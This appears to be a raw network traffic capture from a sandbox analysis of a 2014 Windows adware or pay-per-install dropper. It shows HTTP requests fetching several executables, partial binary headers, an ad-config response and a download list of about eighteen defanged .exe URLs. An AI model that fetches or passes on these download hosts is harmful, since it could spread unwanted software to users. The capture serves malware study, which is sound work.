.HASH=65af374a44585e5495d803f6b94cc100HTTP/1.1 200 OK..Content-Type: a
pplication/octet-stream..Content-Length: 178..Connection: keep-alive..
Server: SNS..Date: Wed, 30 Jul 2014 03:53:54 GMT..Last-Modified: Wed, 
19 Feb 2014 00:18:01 GMT..Expires: Thu, 30 Jul 2015 03:53:54 GMT..Cach
e-Control: max-age=31536000..FSS-Cache: HIT from 4070211.6757197.47952
44..Accept-Ranges: bytes..[ROOT]..VERSION=4.2.0.88..VALUE= 67240024..U
RL=hXXp://data.vod.itc.cn/foxd/gz?file=SohuNewPlayer.exe&new=/212/10/L
X1gaYhp2TxOw4UbWrnLg7.exe..HASH=65af374a44585e5495d803f6b94cc100..

GET /open/setup_2948-140896.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: down.yinyue.fm

HTTP/1.0 200 OK

Date: Thu, 18 Sep 2014 00:17:11 GMT

Content-Type: application/octet-stream

Content-Length: 3879912

Last-Modified: Thu, 18 Sep 2014 00:11:09 GMT

ETag: "541a231d-3b33e8"

Accept-Ranges: bytes

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......u.F.1.(.1.(.
1.(.....0.(.*...).(.*...C.(.*.....(.8...2.(.8...&.(.1.)...(.*...:.(.*.
..0.(.*...0.(.Rich1.(.........PE..L......S.................:....9.....
.........P....@...........................;......M;...@...............
..................\............99..........$;......0;.$....R..........
........................@............P..x............................t
ext....8.......:.................. ..`.rdata...W...P...X...>.......
.......@[email protected][email protected]......:9
.................@[email protected];..B....:[email protected].........
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..j.h;GA.d.....P..h.$.
A.3..E.SVP.E.d......}..=`.A.3..]..G<...rA..G..rA..G..rA..G..rA..G..
sA..G,....f._0._2._4.G8...E..h.....G|..................v......E..E..;.
t.P.H.....3..u..G4.Y....w8......E..M.;.t.P.r{.....S.U.R.G.P.E......]..
]..]...`RA....M.d......Y^[.M.3...s....]...U.........$.A.3..E.h........
..j.P.....................Qj&j..............QA...u!............RP...QA
[email protected]. .W....?|..W.Rj........^}.......
..W......QP._z.......h.sA............h.rA.........M.3..._..r....].
<<< skipped >>>

GET /app.gif?&cna=ehKhDDcf y8CAcGK9OfwIiB  HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/count/softcount/?pwc

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Thu, 18 Sep 2014 00:17:01 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=ehKhDDcf y8CAcGK9OfwIiB ; expires=Sun, 15-Sep-24 00:17:01 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Thu, 18 Sep 2014 00:17:01 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=ehKhDDcf y8CA
cGK9OfwIiB ; expires=Sun, 15-Sep-24 00:17:01 GMT; path=/; domain=.cnzz
.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache.
.Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /packages/g_wz/default2/a-zm-157391-v5.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: client-b.jtdichan.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.0.10

Date: Thu, 18 Sep 2014 00:17:47 GMT

Content-Type: application/octet-stream

Content-Length: 1064280

Last-Modified: Wed, 09 Jul 2014 05:13:31 GMT

Connection: keep-alive

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......-u. i..si..s
i..s...sl..s...sb..s...sm..s...sm..s...sk..s...sp..si..sN..s...s{..s..
.sf..s...sh..sRichi..s........PE..L...}..S.....................@......
[email protected]............................
.................../..,.................... ..X.......................
.....................................................................t
ext............................... ..`.rdata...E.......P..............
....@[email protected]@...`... ...`[email protected].................
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /ecom?di=98364&dcb=BAIDU_DUP_define&dtm=BAIDU_DUP2_SETJSONADSLOT&dbv=0&dci=0&dri=0&dis=4&dai=1&dds=&drs=3&dvi=1410832926<u=http://adsvc2.9365.info/ad/softad/popup.htm&liu=<r=&lcr=&ps=13x8&psr=1276x846&par=1276x818&pcs=0x0&pss=20x30&pis=-1x-1&cfv=11&ccd=32&chi=0&cja=true&cpl=0&cmi=0&cce=true&col=en-us&cec=gb2312&cdo=-1&tsr=172&tlm=1352217204&tcn=1410999396&tpr=1410999395508&dpt=none&coa=&baidu_id= HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/ad/softad/popup.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cb.baidu.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:16:59 GMT

Content-Type: text/javascript;charset=UTF-8

Content-Length: 319

Connection: Keep-Alive

Set-Cookie: BAIDUID=05FFD108C60D2FA03361A7A03E62FD9E:FG=1; expires=Fri, 18-Sep-45 00:16:59 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1

Set-Cookie: BAIDUID=; path=/; expires=Thu, 01-Jan-70 00:00:01 GMT

P3P: CP=" OTI DSP COR IVA OUR IND COM "

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Thu Sep 18 08:16:59 2014

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache
BAIDU_DUP_define('request!98364_0',[],{deps:['clb/popup7o'],data:{"id"
 : "98364","_stype" : 2,"_w" : 350,"_h" : 280,"_type" : "json_html","_
html" : "","_fxp" : false,"_sf" : false,"_st" : 0,"_top" : 0,"_left" :
 0,"_hs" : 30,"_vs" : 30,"_bf" : true,"_isMlt" : false,"_fr" : false,"
_qid" : "68c8e2b1c55c89a3","_v" : 1}});HTTP/1.1 200 OK..Server: nginx.
.Date: Thu, 18 Sep 2014 00:16:59 GMT..Content-Type: text/javascript;ch
arset=UTF-8..Content-Length: 319..Connection: Keep-Alive..Set-Cookie: 
BAIDUID=05FFD108C60D2FA03361A7A03E62FD9E:FG=1; expires=Fri, 18-Sep-45 
00:16:59 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1..
Set-Cookie: BAIDUID=; path=/; expires=Thu, 01-Jan-70 00:00:01 GMT..P3P
: CP=" OTI DSP COR IVA OUR IND COM "..P3P: CP=" OTI DSP COR IVA OUR IN
D COM "..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Last-Modified: Thu Se
p 18 08:16:59 2014..Cache-Control: post-check=0, pre-check=0..Pragma: 
no-cache..BAIDU_DUP_define('request!98364_0',[],{deps:['clb/popup7o'],
data:{"id" : "98364","_stype" : 2,"_w" : 350,"_h" : 280,"_type" : "jso
n_html","_html" : "","_fxp" : false,"_sf" : false,"_st" : 0,"_top" : 0
,"_left" : 0,"_hs" : 30,"_vs" : 30,"_bf" : true,"_isMlt" : false,"_fr"
 : false,"_qid" : "68c8e2b1c55c89a3","_v" : 1}});..
<<< skipped >>>

HEAD /DM15/DMSet.Xml HTTP/1.1

Content-Type: text/html

Host: update.yinyue.fm

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

HTTP/1.1 200 OK

Content-Length: 5604

Content-Type: text/xml

Last-Modified: Thu, 11 Sep 2014 02:53:27 GMT

Accept-Ranges: bytes

ETag: "331fd48f6bcdcf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:18:02 GMT

GET /9291/15474/setup_2949-14598.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: download.grandcloud.cn

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: nginx/1.7.2

Date: Thu, 18 Sep 2014 00:17:06 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 101

Connection: keep-alive

Location: hXXp://175.6.4.178/280cf9c20714744ccd17e57f66106dc70000000000370d38/9291/15474/setup_2949-14598.exe
<html><head><title>Moved Temporarily</title>&l
t;/head><body><h1>302 Moved Temporarily</h1></
body></html>HTTP/1.1 302 Moved Temporarily..Server: nginx/1.7
.2..Date: Thu, 18 Sep 2014 00:17:06 GMT..Content-Type: text/html; char
set=utf-8..Content-Length: 101..Connection: keep-alive..Location: http
://175.6.4.178/280cf9c20714744ccd17e57f66106dc70000000000370d38/9291/1
5474/setup_2949-14598.exe..<html><head><title>Moved 
Temporarily</title></head><body><h1>302 Moved 
Temporarily</h1></body></html>..

GET /core.php?web_id=4327411&show=pic&t=z HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/count/softcount/?pwc

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Thu, 18 Sep 2014 00:16:56 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Thu, 18 Sep 2014 00:16:56 GMT

Expires: Thu, 18 Sep 2014 00:31:56 GMT
2f0..!function(){var p,q,r,a=encodeURIComponent,b="4327411",c="pic",d=
"",e="online_v3.php",f="hzs2.cnzz.com",g="1",h="pic",i="z",j="站
长统计",k=window["_CNZZDbridge_" b].bobject,l="http:
",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push(
"h=" f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===
m&&k.callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.cre
ateScriptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.p
hp?web_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.c
om/img/" c ".gif",p="<a href='" q "' target=_blank title='" j "'>
;<img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<
;a href='" q "' target=_blank title='" j "'>" j "</a>",k.crea
teIcon([p])))}();..0..HTTP/1.1 200 OK..Server: Tengine..Date: Thu, 18 
Sep 2014 00:16:56 GMT..Content-Type: application/javascript..Transfer-
Encoding: chunked..Connection: keep-alive..Last-Modified: Thu, 18 Sep 
2014 00:16:56 GMT..Expires: Thu, 18 Sep 2014 00:31:56 GMT..2f0..!funct
ion(){var p,q,r,a=encodeURIComponent,b="4327411",c="pic",d="",e="onlin
e_v3.php",f="hzs2.cnzz.com",g="1",h="pic",i="z",j="站长
2479;计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l
 "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.p
ush("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.callRe
quest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScriptIc
on(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web_
<<< skipped >>>

GET /count/softcount/?pwc HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: adsvc2.9365.info

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 109

Content-Type: text/html

Content-Location: hXXp://adsvc2.9365.info/count/softcount/index.htm

Last-Modified: Tue, 06 Nov 2012 14:53:28 GMT

Accept-Ranges: bytes

ETag: "44c497b2ebccd1:1cc1"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:29 GMT
<script src="hXXp://s85.cnzz.com/stat.php?id=4327411&web_id=4327411
&show=pic" language="JavaScript"></script>HTTP/1.1 200 OK..Co
ntent-Length: 109..Content-Type: text/html..Content-Location: hXXp://a
dsvc2.9365.info/count/softcount/index.htm..Last-Modified: Tue, 06 Nov 
2012 14:53:28 GMT..Accept-Ranges: bytes..ETag: "44c497b2ebccd1:1cc1"..
Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: Thu, 18 Sep 20
14 00:14:29 GMT..<script src="hXXp://s85.cnzz.com/stat.php?id=43274
11&web_id=4327411&show=pic" language="JavaScript"></script>font>....


GET /ad/softad/pwc.htm HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: adsvc2.9365.info

Connection: Keep-Alive

Cookie: CNZZDATA4327411=cnzz_eid=921366142-1410999416-&ntime=1410999416

HTTP/1.1 200 OK

Content-Length: 1048

Content-Type: text/html

Last-Modified: Tue, 16 Sep 2014 12:45:51 GMT

Accept-Ranges: bytes

ETag: "f850dd25acd1cf1:1cc1"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:35 GMT
[dl]..hXXp://219.239.223.191/dls/axuls.exe=..hXXp://219.239.223.191/dl
s/axult.exe=..hXXp://219.239.223.191/hzsoft/IFoxInstall-y-c203945859-r
un-s-x.exe=..hXXp://click.t3nlink.com/link/140896/setup_2948-140896.ex
e=..hXXp://client-b.jtdichan.com/packages/g_wz/default2/a-zm-157391-v5
.exe=..hXXp://down.chinashangrui.com/xkgb/xkcc_50091167828.exe=..http:
//down.nisoka.com/happy/-1303_1_td.exe=..hXXp://down.haoie.net/2suys_3
1_1008_01.exe=..hXXp://download.grandcloud.cn/9291/25533/cyiesetup.exe
=..hXXp://download.grandcloud.cn/9291/25605/sjss_jing_zhimeng_217.exe=
..hXXp://down.tianyunxj.com/tqrl_89_177560.exe=..hXXp://down.shuyeer.n
et/jt/c79af4009041.exe=..hXXp://down.waisong8.com/input/jgimeside_yllm
_127.exe=..hXXp://down4.huorong.cn/sysdiag-c61.exe=..hXXp://guangqu.os
s-cn-hangzhou.aliyuncs.com/qd/meitulm_01.exe=..hXXp://down.shuyeer.net
/dudu/dudu_b_80068.exe=..hXXp://down.xiaoxinrili.com/hezi/jm/setup_t10
304.exe=..hXXp://down.9vh.net/apples_5_1008.exe=..[pw]..hXXp://hao.636
0.info/=..[hp]..hXXp://hao.6360.info/=..[hp2]..hao.uenet.info=HTTP/1.1
 200 OK..Content-Length: 1048..Content-Type: text/html..Last-Modified:
 Tue, 16 Sep 2014 12:45:51 GMT..Accept-Ranges: bytes..ETag: "f850dd25a
cd1cf1:1cc1"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: 
Thu, 18 Sep 2014 00:14:35 GMT..[dl]..hXXp://219.239.223.191/dls/axuls.
exe=..hXXp://219.239.223.191/dls/axult.exe=..hXXp://219.239.223.191/hz
soft/IFoxInstall-y-c203945859-run-s-x.exe=..hXXp://click.t3nlink.com/l
ink/140896/setup_2948-140896.exe=..hXXp://client-b.jtdichan.com/pa
<<< skipped >>>

GET /2suys_31_1008_01.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.haoie.net

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 18 Sep 2014 00:17:11 GMT

Content-Type: text/html

Content-Length: 564

Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>..<!-- a padding to disable
 MSIE and Chrome friendly error page -->..<!-- a padding to disa
ble MSIE and Chrome friendly error page -->..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->.....
.


GET /2suys_31_1008_01.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.haoie.net

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 18 Sep 2014 00:17:12 GMT

Content-Type: text/html

Content-Length: 564

Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>..<!-- a padding to disable
 MSIE and Chrome friendly error page -->..<!-- a padding to disa
ble MSIE and Chrome friendly error page -->..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->.....
.


GET /2suys_31_1008_01.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.haoie.net

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 18 Sep 2014 00:17:12 GMT

Content-Type: text/html

Content-Length: 564

Connection: keep-alive
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>..<!-- a padding to disable
 MSIE and Chrome friendly error page -->..<!-- a padding to disa
ble MSIE and Chrome friendly error page -->..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 4
04 Not Found..Server: nginx..Date: Thu, 18 Sep 2014 00:17:12 GMT..Cont
ent-Type: text/html..Content-Length: 564..Connection: keep-alive..<
html>..<head><title>404 Not Found</title></hea
d>..<body bgcolor="white">..<center><h1>404 Not F
ound</h1></center>..<hr><center>nginx</cent
er>..</body>..</html>..<!-- a padding to disable MSI
E and Chrome friendly error page -->..<!-- a padding to disable 
MSIE and Chrome friendly error page -->..<!-- a padding to disab
le MSIE and Chrome friendly error page -->..<!-- a padding to di
sable MSIE and Chrome friendly error page -->..<!-- a padding to
 disable MSIE and Chrome friendly error page -->..<!-- a padding
 to disable MSIE and Chrome friendly error page -->....
<<< skipped >>>

POST /config/juese/adconf HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*

Accept-Language: en-us

User-Agent: Mozilla/4.0

Host: API.TUPIAN8.CN

Content-Type: application/x-www-form-urlencoded

HTTP/1.1 200 OK

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:18:03 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 606

Connection: close

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
{"lbt": "1800", "dbn": "6", "llt": "10800", "oeu2": "hXXp://s.sogv.com
/ext/update.7z", "ldt": "0", "dbs": "1", "dbt": "360", "mdt": "3600", 
"lbn": "5", "idn": "..netert Hao..23", "udu": "hXXp://VVV.hao123.com/?
tn=99283481_hao_pg", "lu": "hXXp://VVV.vool.cn/_right/", "ls": "1", "u
ds": "1", "ubs": "1", "oes": "1", "oeu": "hXXp://s.sogv.com/ext/ext.7z
", "ubn": "6", "udn": "lnetent Haol23", "upu": "hXXp://VVV.hao123.com/
?tn=99283481_hao_pg", "ibn": "4", "idu": "hXXp://hao.360.cn/?src=lm&ls
=n525187378f", "ids": "1", "st": "1410752066", "mu": "hXXp://VVV.vool.
cn/_mini/", "ms": "1", "ibs": "1", "ups": "1"}..

GET /js/s.js HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/ad/softad/popup.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cbjs.baidu.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:16:56 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 16 Sep 2014 02:35:58 GMT

Transfer-Encoding: chunked

Connection: close

Server: Apache

Expires: Thu, 18 Sep 2014 00:21:56 GMT

Cache-Control: max-age=300

Content-Encoding: gzip
33a8..............iw......W`.,..Y....`...u..q...Y...F.........A.x...w.
....=.w.6{.n7.....b0\6...<h<....q4M......V.,.o.E>......^..?..
...6...x.8..."k...h{?.E...$XD...[..l...<_....[HkS.....y...y<O...
I0....a.y...=}....7...l...i>]zA...r9k..e..0.y/...H..<....t.....s
....4..EW.`.G..8...g...9...=.&q.}=..X&,.J..<.Y...O..?.'...X.E...i..
.Q....E.c3....8.6.dr..h.w...dg..:.1.../.Y...|.....q.v.h.6]]D......mtYL
..2t.......U.2.. ..^6..*.....)].t...;.a.N..`9.d......5.......J.m..f..M
=l..k.^w.l...E.....,...(.R?i..|[email protected]
...@.'...ph....:..h.KN:g;;/.g.....N....C..j..a.1./.i0.U...P|...T...jf.
s.#}...lW.W..2...NJ.4....xR|.U .1N!.IQ......x.|>QU..."S..l..<.2.
/.!..w._........1.E.p.vY5...4....% ..Y}..X..g............~...iT ..vf.8
.....O.lJ..y~....O.v.|.....q`A.m&l!.....0...2.6Q...-.y1[z~...0./.e../.
...(....).1.y.%...p./M....... v....8.|p{...&e.9H.b..[>...\ ;.......
.d....^..e...PO.qm....}.R3o}.=<...k>..=..9...Y./.. ..(N....t.)..
`]i...e9...lHL.>............WY>..yC^.DN.i'..... .....(..........
w..H.".n....3.......[...._.A....S[cV.p.....4q....d.LIE...M...@[email protected]
3..M..8..M...;L(...GY.......E..a...^......q..[q..G..n'gcY.#.t.j..h._6.
#.....h.......4.?..7...w.:........I...}...g..k.:..5.fYz..$.O.Q~.g...d.
...s..O<...*.g.rY.?..pY./..t...dB...q.l*&{.x:....K;... J..IH"..|..n
<..I.O.O.......WSh.:?Mr.X>x.i..#{.b6).M..J...>.h8.....D......
HR.;.N`...V.....O.E......Y....k....j.....)4Mnn.0^......3(.g3...6....H.
.%.../....p.j..h,.\...=.3..T.....V.gfp.\e..-O.fu..)...n....lGQ.:..
<<< skipped >>>